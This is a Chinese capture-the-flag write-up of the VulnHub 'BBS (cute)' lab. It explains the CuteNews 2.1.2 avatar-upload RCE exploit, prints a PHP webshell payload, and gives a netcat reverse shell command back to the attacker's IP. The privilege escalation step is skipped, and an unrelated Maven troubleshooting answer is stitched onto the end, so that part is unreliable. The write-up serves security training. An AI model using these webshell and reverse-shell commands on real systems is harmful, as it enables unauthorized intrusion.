BBS (cute): 1.0.2靶场渗透

BBS (cute): 1.0.2

来自 <BBS (cute): 1.0.2 ~ VulnHub>

前言:攻击机无法扫描靶机解决方案

1,在开机时,按下shift进入界面,按e进入该界面

2,ro替换为 rw signie init=/bin/bash

3,按Ctrl键+X键如果没成功说明配置错了需要从新继续配置 如果是下面这个界面说明配置成功

4,查看当前网卡信息

5,发现网卡是ens33,那么接着编辑网卡配置文件vi /etc/network/interfaces

6,重启网卡 /etc/init.d/networking restart

7,成功分配到IP地址

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.238

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.238

目标主机有5个开放端口22(SSH),80(HTTP),88(HTTP),110(PoP3),995(SSL PoP3)。首先访问80端的网站看看

然后88端口

4,扫描网站存在哪些子目录

dirsearch -u http://192.168.23.238 -x 403,404

访问index.php看看

发现存在一个登录页面,而且网站首页泄露了CMS版本,检索发现果然存在严重的漏洞

searchsploit CuteNews 2.1.2

CuteNews是一款基于PHP开发的新闻管理系统,主要用于管理博客或复杂的新闻发布平台。以下是其核心特点及安全概况的综合介绍:

1. 功能与架构

  • 核心功能:CuteNews提供新闻发布、评论管理、用户权限控制、模板编辑等功能,支持预定时发布、媒体文件管理和多语言日期格式设置。其管理面板集成了分类管理、IP封禁、评论审核等工具,适合中小型网站的内容管理
  • 技术架构:采用平坦式文件存储(无需数据库依赖),通过PHP脚本实现动态内容管理,模板文件以.tpl格式存储,支持HTML和PHP代码混合编写

2. 版本与更新

最新版本:根据公开记录,2015年发布的2.0.3版本新增了Base64编码存储(增强安全性)、迁移工具优化、模板标签修复等功能

历史问题:早期版本(如1.4.6)存在多个安全漏洞,包括跨站脚本(XSS)和未授权访问风险,例如:

  • XSS漏洞:通过register.phpresult参数、search.phpuser参数等输入点注入恶意脚本3
  • PHP代码注入:管理员编辑模板时未过滤输入,攻击者可插入PHP代码执行任意系统命令(如Shell命令),影响版本包括2.x系列

3. 安全风险与漏洞

高危漏洞

  • 远程代码执行(RCE):攻击者通过构造恶意模板文件(如插入<?PHP system("命令"); ?>)可控制服务器,此漏洞因缺乏输入过滤而长期存在256
  • 文件遍历与权限绕过:部分版本允许通过URL参数非法访问系统文件(如Apache配置、日志文件),进一步引发代码注入7
  • 厂商响应:截至搜索结果时间(最新为2022年),官方未提供针对上述漏洞的补丁,仅建议用户关注官网更新46

5,下载这个漏洞利用文件看看

searchsploit -m 48800.py

cat 48800.py 

CVE-2019-11447漏洞概要

  • 漏洞名称:CuteNews 2.1.2 - Remote Code Execution (RCE)
  • CVE编号:CVE-2019-11447
  • 漏洞类型:文件上传+远程代码执行
  • 影响版本:CuteNews <= 2.1.2
  • 利用前提:攻击者需要有权限注册或登录网站(低权限用户足够)

漏洞成因分析

1. 用户头像上传点可被利用

CuteNews 支持用户上传头像文件作为个人资料图像,文件上传路径如下:

/cdata/users/[username].php

上传表单处理代码在 core/modules/preview.php 和 core/core.php 中有关头像处理逻辑,未对上传的文件扩展名和 MIME 类型做有效验证。攻击者可以将 PHP 代码上传为伪装成图像文件(如 .php 后缀或 .php;.jpg 等变种)。

2. 绕过文件扩展名限制

部分版本中对头像上传支持的文件扩展名没有严格过滤,甚至允许上传 .php 或者通过使用 filename.php.jpg 形式上传,服务器端未对 MIME 类型或实际文件内容做校验。

3. 上传后的文件可直接访问并被解析

上传后的文件被保存至可被 Web 服务器执行的位置,如:

/uploads/avatar/evil.php

Web 服务器如 Apache/Nginx 会解析 .php 文件,攻击者上传的代码如:

<?php system($_GET['cmd']); ?>

当访问如下 URL 时即可执行命令:

http://victim.com/uploads/avatar/evil.php?cmd=whoami

4. 权限控制不当

即便是普通用户注册账户后也可以上传头像,系统未对用户操作进行进一步权限细化,造成攻击面扩大。

漏洞利用脚本原理分解

0x01 漏洞点确认

漏洞位于 用户头像上传接口,CuteNews 对上传头像的内容未进行 MIME 类型校验和扩展名过滤,且头像文件会被保存在 可执行的 Web 目录 中,因此可以上传包含恶意 PHP 代码的文件并通过浏览器访问触发执行。

0x02 核心攻击步骤分析

步骤 1:提取哈希凭证(可选步骤)

url = f"{ip}/CuteNews/cdata/users/lines"
encoded_creds = sess.get(url).text
...
credentials = b64decode(line)
sha_hash = re.search('"pass";s:64:"(.*?)"', credentials.decode()).group(1)

  • 尝试从 cdata/users/lines 文件中提取用户的 base64 编码的序列化数据。
  • 通过正则解析出 SHA-256 的密码哈希。
  • 虽然这不是攻击必要步骤,但可用于进一步暴力破解后台密码。

步骤 2:注册一个合法用户

postdata = {
  "action": "register",
  "regusername": userpass,
  ...
}
sess.post(f"{ip}/CuteNews/index.php?register", ...)

  • 自动生成随机用户名和密码。
  • 利用 CuteNews 允许任意注册用户上传头像的权限。
  • 注册成功后具备上传权限。

步骤 3:上传恶意“头像”文件(核心 RCE 入口)

payload = "GIF8;\n<?php system($_REQUEST['cmd']) ?>"
...
"avatar_file" : (f"{logged_user}.php", payload)

  • 构造恶意头像文件内容:添加 GIF8;(绕过部分图像解析器的简单校验),后跟 PHP 命令执行代码。
  • 上传的文件名为:{logged_user}.php,文件保存路径为:
    CuteNews/uploads/avatar_{user}_{user}.php
  • 由于上传目录可执行,上传成功后即可访问该文件远程执行命令:
    http://target/CuteNews/uploads/avatar_user_user.php?cmd=whoami

步骤 4:与 WebShell 交互,执行系统命令

while True:
    command = input("command > ")
    postdata = {"cmd": command}
    sess.post(f"{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php", data=postdata)

  • 向 WebShell POST 数据 cmd=命令。
  • 服务端执行 system($_REQUEST['cmd']) 并返回结果。

关键点总结

步骤

问题点

用户注册

无验证码/注册限制,攻击者可自注册

头像上传

文件扩展名和 MIME 类型未校验

存储路径

上传路径可被 Web 执行

代码执行

上传内容可直接作为 PHP 脚本被执行

权限控制

普通用户可触发整个攻击流程

6,漏洞利用代码里的url需要根据情况进行修改(而前面目录扫描的时候已经知道目录名称,需要将原来的exploit代码删除掉/CuteNews)

:%s/\/CuteNews//g

解释:

  1. :%s:对整个文件进行替换(% 表示范围为全文件)。
  2. /\/CuteNews/:匹配 /CuteNews。由于 / 是分隔符,需要在前面加 \ 进行转义。
  3. /\//:替换为 /。
  4. g:表示全局替换每一行中所有匹配项。

替换成功,开始执行代码

python 48800.py  

然后迁移shell

nc -e /bin/bash 192.168.23.182 4444

nc -lvvp 4444

然后再使用python开启一个可交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

成功getshell

7,然后信息收集,看如何getshell

sudo -l

发现需要密码,这个方法行不通

find / -perm -u=s 2>/dev/null

提权成功,成功得到flag

### 解决 Maven 未解析依赖问题 当遇到 `it.sauronsoftware:jave:jar:1.0.2` 的未解析依赖问题时,可能的原因包括以下几个方面: #### 1. **中央仓库中不存在该版本** 如果指定的依赖项在 Maven 中央仓库中不可用,则构建工具无法下载它。在这种情况下,可以尝试手动查找替代资源库或将所需 JAR 文件安装到本地存储库。 需要确认的是,在官方 Maven Central Repository 或其他公共存储库中并未找到 `jave-ffmpegjave:1.0.2` 版本的相关条目[^2]。因此,建议寻找第三方存储库或联系开发者获取最新可用版本。 #### 2. **配置额外的远程仓库** 可能需要添加特定于项目的自定义存储库地址来解决问题。如果项目文档提供了此类信息,请将其加入 `pom.xml` 文件中的 `<repositories>` 节点下。例如: ```xml <repositories> <repository> <id>sauron-repo</id> <url>http://www.sauronsoftware.it/maven/</url> </repository> </repositories> ``` 上述代码片段假设存在一个名为 SauronSoftware 提供的 Maven 存储库 URL;实际应用前需验证其有效性并替换为真实路径[^1]。 #### 3. **手动安装缺失JAR包至本地Maven仓库** 当外部源均失败后,还可以考虑通过命令行方式把已获得的目标文件直接导入系统环境内作为临时解决方案之一。操作方法如下所示: ```bash mvn install:install-file -Dfile=<path-to-jar>/jave-1.0.2.jar \ -DgroupId=it.sauronsoftware \ -DartifactId=jave \ -Dversion=1.0.2 \ -Dpackaging=jar ``` 这里 `-Dfile=` 参数应指向所拥有的 `.jar` 实际位置。 --- ### 总结 综上所述,针对当前情况可采取措施包括但不限于检查目标构件是否存在、扩展搜索范围以及利用手工手段完成必要组件加载工作流程等策略加以应对处理。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值